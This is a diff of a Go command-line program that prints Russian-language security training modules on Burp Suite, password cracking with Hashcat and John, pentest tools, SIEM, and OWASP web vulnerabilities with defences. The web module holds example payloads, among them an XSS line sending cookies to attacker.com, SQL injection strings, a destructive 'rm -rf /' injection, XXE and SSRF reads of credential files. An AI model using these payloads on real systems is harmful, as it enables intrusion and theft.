Repeater повторная отправка запросов с изменениями
Intruder автоматизированные атаки (brute force, fuzzing)
Scanner автоматическое сканирование уязвимостей (Pro)
Decoder кодирование/декодирование (Base64, URL, HTML)
Comparer сравнение ответов
Sequencer анализ случайности токенов
# Настройка прокси:
# Browser Proxy 127.0.0.1:8080 Burp Target
# Установить Burp CA certificate в браузер для HTTPS
# Основной workflow:
1. Настроить браузер на прокси
2. Interceptor: On перехватывать запросы
3. Исследовать приложение
4. Отправлять интересные запросы в Repeater
5. Изменять параметры, проверять реакцию
6. Атаки Intruder для перебора
# Расширения (BApp Store):
Active Scan++ дополнительные проверки
JWT Editor работа с JWT токенами
Logger++ расширенное логирование
Param Miner поиск скрытых параметров
# curl как замена для простых тестов:
curl -v -X POST https://target.com/login \
-H "Content-Type: application/json" \
-d '{"user":"admin","pass":"'"'"' OR 1=1 --"}'`)
utils.Section("Взлом паролей — Hashcat и John")
utils.Code(`# Hashcat GPU-ускоренный взломщик хэшей:
hashcat --example-hashes | grep -A 1 "MODE: 0" # примеры хэшей
# Основные режимы атаки:
# -a 0: Straight (словарь)
# -a 1: Combination (два словаря)
# -a 3: Brute-force (маски)
# -a 6: Hybrid (словарь + маска)
# Типы хэшей (-m):
# 0 MD5
# 1000 NTLM
# 1800 sha512crypt (Linux /etc/shadow)
# 3200 bcrypt
# 13100 Kerberos TGS-REP
# Атаки:
# Словарная атака:
hashcat -m 1000 hashes.txt rockyou.txt
# Brute-force с маской:
hashcat -m 0 hashes.txt -a 3 ?l?l?l?l?d?d # 4 буквы + 2 цифры
# Маски: ?l=lower ?u=upper ?d=digit ?s=special ?a=all
# Комбо: словарь + правила:
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule
# John the Ripper классика:
john --format=bcrypt hashes.txt --wordlist=rockyou.txt
john --show hashes.txt
# Словари:
# rockyou.txt 14 млн паролей из утечки
# SecLists/Passwords коллекция словарей
# CrackStation 1.5 млрд паролей`)
utils.Section("Инструменты для CTF и пентеста")
utils.Code(`Стеганография:
steghide скрытие данных в изображениях
binwalk анализ бинарных файлов (embedded files)
exiftool метаданные файлов
strings строки в бинарных файлах
xxd hex dump
Форензика:
volatility анализ дампов памяти
autopsy / sleuthkit форензика дисков
Wireshark анализ сетевого трафика
foremost восстановление файлов
Web:
sqlmap автоматический SQL injection
sqlmap -u "https://target.com/page?id=1" --dbs
sqlmap -u "https://target.com/page?id=1" -D mydb --tables
wfuzz fuzzer (альтернатива ffuf)
XSStrike анализ XSS
Commix command injection
Reverse Engineering:
Ghidra бесплатный дизассемблер (NSA)
IDA Pro коммерческий, стандарт индустрии
radare2 open source framework
pwndbg расширение GDB для exploit development
Privilege Escalation (Linux):
LinPEAS автоматический поиск векторов
linux-exploit-suggester предложения эксплойтов
pspy мониторинг процессов без root
Privilege Escalation (Windows):
WinPEAS автоматический поиск
PowerSploit PowerShell для пентеста
BloodHound граф атак в Active Directory
Полезные дистрибутивы:
Kali Linux стандарт для пентеста
Parrot OS лёгкий, для форензики и пентеста
BlackArch Arch-based, огромный репозиторий`)
utils.Section("SIEM и Threat Hunting")
utils.Code(`SIEM (Security Information and Event Management):
Централизованный сбор, корреляция и анализ событий безопасности.
Splunk коммерческий, мощный
Elastic SIEM (ELK) Elasticsearch + Kibana
Microsoft Sentinel облачный SIEM (Azure)
IBM QRadar корпоративный
Graylog open source
MITRE ATT&CK Framework:
Матрица тактик и техник, используемых атакующими.
https://attack.mitre.org
Тактики (Tactics): Reconnaissance Initial Access Execution
Persistence Privilege Escalation Defense Evasion
Credential Access Discovery Lateral Movement Collection
Command and Control Exfiltration Impact
Threat Hunting проактивный поиск угроз:
Hypothesis-based: "а вдруг у нас есть Cobalt Strike?"
IOC-based: по индикаторам компрометации (IP, домены, хэши)
Источники IOC:
VirusTotal, Shodan, AlienVault OTX
Threat Intelligence платформы (MISP, OpenCTI)
Vendor feeds (Mandiant, CrowdStrike)
Incident Response (IR):
1. Preparation подготовка (playbooks, инструменты)
2. Identification обнаружение инцидента
3. Containment локализация
4. Eradication устранение
5. Recovery восстановление
6. Lessons Learned разбор полётов`)
utils.Footer()
}

View file

@ -0,0 +1,241 @@
package infosecmodules
import (
"rubric/utils"
)
var WebModule = Module{
Key: "web",
Aliases: []string{"w", "owasp", "webapp"},
Title: "Безопасность веб-приложений",
Description: "OWASP Top 10, XSS, SQLi, CSRF, SSRF, XXE, инъекции и защита",
Run: showWeb,
}
func showWeb() {
utils.Header("InfoSec — Безопасность веб-приложений")
utils.Section("OWASP Top 10 (2021)")
utils.Code(`A01 Broken Access Control нарушение контроля доступа (IDOR, privilege escalation)
A02 Cryptographic Failures слабая/отсутствующая криптография
A03 Injection инъекции (SQL, NoSQL, команды, LDAP)
A04 Insecure Design небезопасный дизайн
A05 Security Misconfiguration неправильная конфигурация
A06 Vulnerable Components уязвимые зависимости
A07 Auth Failures ошибки аутентификации и сессий
A08 Software & Data Integrity нарушение целостности ПО и данных
A09 Logging & Monitoring Failures недостаточное логирование
A10 SSRF Server-Side Request Forgery`)
utils.Section("A03 Injection — SQL Injection")
utils.Code(`SQL Injection внедрение SQL-кода через пользовательский ввод.
Уязвимый код:
query = "SELECT * FROM users WHERE name='" + name + "'"
# Ввод: ' OR '1'='1
# Результат: SELECT * FROM users WHERE name='' OR '1'='1'
Типы SQLi:
In-band ответ видно в ответе приложения
Error-based ошибки раскрывают структуру БД
Union-based UNION SELECT для получения данных
Blind нет прямого ответа, только true/false или задержки
Boolean-based условие true/false
Time-based SLEEP() для подтверждения
Out-of-band данные через DNS/HTTP запросы
Примеры атак:
' OR '1'='1' -- # обход авторизации
' UNION SELECT 1,user(),3 -- # получить имя БД-пользователя
'; DROP TABLE users; -- # разрушительная (редко работает)
' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
Защита:
1. Параметризованные запросы (Prepared Statements) ГЛАВНЫЙ метод
2. ORM (SQLAlchemy, Hibernate, GORM)
3. Хранимые процедуры
4. Экранирование (последний выбор!)
5. WAF
6. Принцип минимальных привилегий для БД-пользователя
# Безопасный код (Python):
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
# Безопасный код (Go):
db.Query("SELECT * FROM users WHERE name = ?", name)`)
utils.Section("A03 Injection — другие типы")
utils.Code(`NoSQL Injection (MongoDB):
Уязвимо: db.users.find({username: req.body.username})
Атака: {"username": {"$gt": ""}} # всегда true
Защита: валидация типов, mongoose.sanitize()
Command Injection (OS Injection):
Уязвимо: os.system("ping " + host)
Атака: "127.0.0.1; rm -rf /"
Защита: subprocess.run(["ping", host], shell=False) # НЕ shell=True!
LDAP Injection:
Атака на LDAP-запросы (AD аутентификация)
Защита: экранирование спецсимволов LDAP
XPath Injection:
Как SQL, но для XML/XPath
Защита: параметризованные XPath запросы
Template Injection (SSTI):
Уязвимо: render_template_string("Hello " + name)
Атака: name = "{{7*7}}" 49 (Jinja2 выполняет код)
Опасность: RCE (Remote Code Execution)
Защита: никогда не рендерить пользовательский ввод как шаблон`)
utils.Section("XSS — Cross-Site Scripting")
utils.Code(`XSS внедрение скриптов в страницы, просматриваемые другими пользователями.
Выполняется в браузере жертвы.
Типы:
Reflected XSS в параметре запроса, не сохраняется
URL: /search?q=<script>alert(1)</script>
Stored (Persistent) XSS сохраняется в БД/файлах
Комментарий: <script>document.cookie</script>
Опаснее: видят все пользователи
DOM-based XSS через DOM, не проходит через сервер
document.write(location.hash)
Что может сделать XSS:
- Украсть cookies (document.cookie)
- Кейлоггинг (capture input)
- Перенаправление (window.location)
- Изменить страницу (phishing)
- CSRF от имени жертвы
Атака (кража cookies):
<script>
new Image().src="https://attacker.com/steal?c="+document.cookie
</script>
Защита:
1. Content Security Policy (CSP) главная защита
2. Экранирование вывода (output encoding)
HTML: &lt; &gt; &amp; &quot;
3. HttpOnly cookies (нельзя читать через JS)
4. X-XSS-Protection заголовок (устарел)
5. Sanitize библиотеки (DOMPurify для JS)
# CSP заголовок:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none'`)
utils.Section("CSRF — Cross-Site Request Forgery")
utils.Code(`CSRF выполнение действий от имени аутентифицированного пользователя.
Браузер автоматически отправляет cookies с любым запросом.
Атака:
1. Alice вошла в bank.com (cookies в браузере)
2. Alice открывает attacker.com
3. Страница attacker.com:
<img src="https://bank.com/transfer?to=hacker&amount=1000">
4. Браузер отправляет запрос с cookies Alice!
5. Перевод выполнен.
Защита:
1. CSRF-токен уникальный токен в форме/заголовке
<input type="hidden" name="csrf_token" value="random_token">
Сервер проверяет токен при каждом POST
2. SameSite Cookie:
Set-Cookie: session=abc; SameSite=Strict # только same-site
Set-Cookie: session=abc; SameSite=Lax # кросс-сайт только GET
Set-Cookie: session=abc; SameSite=None; Secure # везде (CSRF-уязвимо)
3. Проверка Origin/Referer заголовка
4. Double Submit Cookie
5. Custom request header (X-Requested-With: XMLHttpRequest)
Браузеры не добавляют кастомные заголовки кросс-оригин без CORS`)
utils.Section("SSRF — Server-Side Request Forgery")
utils.Code(`SSRF сервер делает запрос к произвольному URL, указанному атакующим.
Атака:
# Уязвимое API: POST /fetch {"url": "..."}
# Доступ к внутренним сервисам:
{"url": "http://192.168.1.1/admin"}
{"url": "http://localhost:8080/actuator"}
# AWS metadata (получить credentials):
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Сканирование внутренней сети:
{"url": "http://10.0.0.1:3306"}
Защита:
1. Whitelist разрешённых URL/доменов
2. Блокировать приватные IP диапазоны
3. DNS rebinding защита
4. Ограничить исходящие соединения (egress firewall)
5. AWS IMDSv2 (требует токен для metadata)`)
utils.Section("A01 Broken Access Control — IDOR")
utils.Code(`IDOR (Insecure Direct Object Reference) прямые ссылки на объекты без проверки прав.
Атака:
GET /api/users/1001/profile # твой профиль
GET /api/users/1002/profile # чужой профиль (просто меняем ID!)
GET /api/orders/5678/invoice # чужой счёт
Защита:
1. Всегда проверять авторизацию к конкретному объекту
2. Использовать GUID/UUID вместо последовательных ID
3. Indirect Reference Map (пользователь видит только свои ID)
4. Тестировать с разными пользователями!
Privilege Escalation:
Горизонтальная доступ к данным другого пользователя
Вертикальная получение прав admin
# Пример правильной проверки (Python):
order = Order.get(order_id)
if order.user_id != current_user.id:
return 403 # Forbidden`)
utils.Section("Другие важные уязвимости")
utils.Code(`XXE (XML External Entity):
Уязвимо: парсер обрабатывает внешние сущности
Атака:
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Защита: отключить XXE в парсере, использовать JSON
Path Traversal:
Атака: GET /download?file=../../../../etc/passwd
Защита: realpath + проверка что путь внутри разрешённой директории
Insecure Deserialization:
Атака: подделать сериализованный объект RCE
Защита: не десериализовать непроверенные данные, подписывать объекты
Open Redirect:
Атака: /redirect?to=https://evil.com
Защита: whitelist разрешённых доменов для редиректа
Security Headers (важные HTTP заголовки):
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=()`)
utils.Footer()
}

View file

@ -67,3 +67,32 @@ func ListModules() {
}
fmt.Println()
}
// Keywords возвращает ключевые слова для поиска по модулю
func Keywords(key string) []string {
kw := map[string][]string{
"intro": {"операционная система", "GNU", "Linux", "дистрибутив", "FHS", "файловая система", "терминал", "shell", "bash", "история"},
"files": {"файлы", "директории", "ls", "cp", "mv", "rm", "mkdir", "ln", "symlink", "жёсткая ссылка", "grep", "find", "cat", "head", "tail", "nano", "vim", "vi", "less", "chmod"},
"streams": {"stdin", "stdout", "stderr", "pipe", "перенаправление", "redirect", "tee", "xargs", "dev/null", "конвейер"},
"bash": {"bash", "alias", "history", "переменные", "PATH", "HOME", "bashrc", "completion", "type", "which", "окружение", "environment"},
"processes": {"процессы", "ps", "top", "htop", "kill", "signals", "сигналы", "PID", "nice", "renice", "jobs", "bg", "fg", "nohup", "watch"},
"users": {"пользователи", "группы", "sudo", "su", "chmod", "chown", "права", "permissions", "useradd", "usermod", "passwd", "visudo", "sudoers", "SUID", "SGID", "umask"},
"kernel": {"ядро", "kernel", "uname", "dmesg", "модули", "modules", "lsmod", "modprobe", "sysctl", "lscpu", "lspci"},
"disks": {"диски", "разделы", "fdisk", "parted", "mkfs", "mount", "fstab", "LVM", "RAID", "mdadm", "ext4", "xfs", "swap", "blkid", "df", "du"},
"scripts": {"скрипты", "bash scripting", "if", "for", "while", "функции", "массивы", "getopts", "trap", "set -e", "shebang"},
"boot": {"загрузка", "GRUB", "systemd", "systemctl", "journalctl", "сервисы", "юниты", "units", "target", "timer", "boot"},
"logs": {"логи", "логирование", "rsyslog", "syslog", "logrotate", "cron", "crontab", "at", "journald", "var/log"},
"backup": {"бэкап", "резервное копирование", "tar", "rsync", "инкрементальный", "VDO", "дедупликация"},
"network": {"сеть", "сети", "ip", "ifconfig", "ss", "netstat", "nmcli", "SSH", "ключи", "авторизация", "firewall", "ping", "traceroute", "curl", "wget", "порты"},
"security": {"безопасность", "SELinux", "firewalld", "firewall-cmd", "восстановление", "semanage", "chcon", "restorecon", "audit"},
"packages": {"пакеты", "dnf", "apt", "rpm", "dpkg", "репозиторий", "установка", "snap", "flatpak", "yum"},
"performance": {"производительность", "swap", "память", "RAM", "OOM", "планировщик", "nice", "tuned", "Stratis", "swappiness"},
"sysconfig": {"RHEL", "hostname", "время", "NTP", "chrony", "часовой пояс", "timedatectl", "localectl", "subscription-manager"},
"netfs": {"NFS", "SMB", "Samba", "CIFS", "autofs", "монтирование", "сетевые диски", "IPv6", "rsync", "SCP", "SFTP"},
"tools": {"Cockpit", "glob", "регулярные выражения", "regex", "grep", "sed", "awk", "глоббинг", "веб-интерфейс"},
}
if v, ok := kw[key]; ok {
return v
}
return []string{}
}

BIN
rubric

Binary file not shown.